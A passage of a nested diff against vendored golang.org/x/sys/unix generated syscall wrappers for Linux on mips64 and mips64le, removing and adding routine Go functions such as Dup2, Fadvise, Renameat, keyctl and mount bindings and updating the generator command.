--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1556,7 +124,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1564,7 +132,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1572,7 +140,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1590,7 +158,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1666,9 +234,18 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seek(fd int, offset int64, whence int) (off int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-- off = int64(r0)
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1677,9 +254,9 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-- n = int(r0)
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ off = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1699,8 +276,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1709,8 +287,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1830,6 +409,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
-@@ -2020,6 +609,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -2045,8 +649,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2065,6 +674,21 @@ func fstat(fd int, st *stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatat(dirfd int, path string, st *stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(st)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func lstat(path string, st *stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64le.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64le.go
-index f6463423..28c7239c 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64le.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64le.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,mips64le syscall_linux.go syscall_linux_mips64x.go
-+// go run mksyscall.go -tags linux,mips64le syscall_linux.go syscall_linux_mips64x.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,mips64le
-@@ -14,1228 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
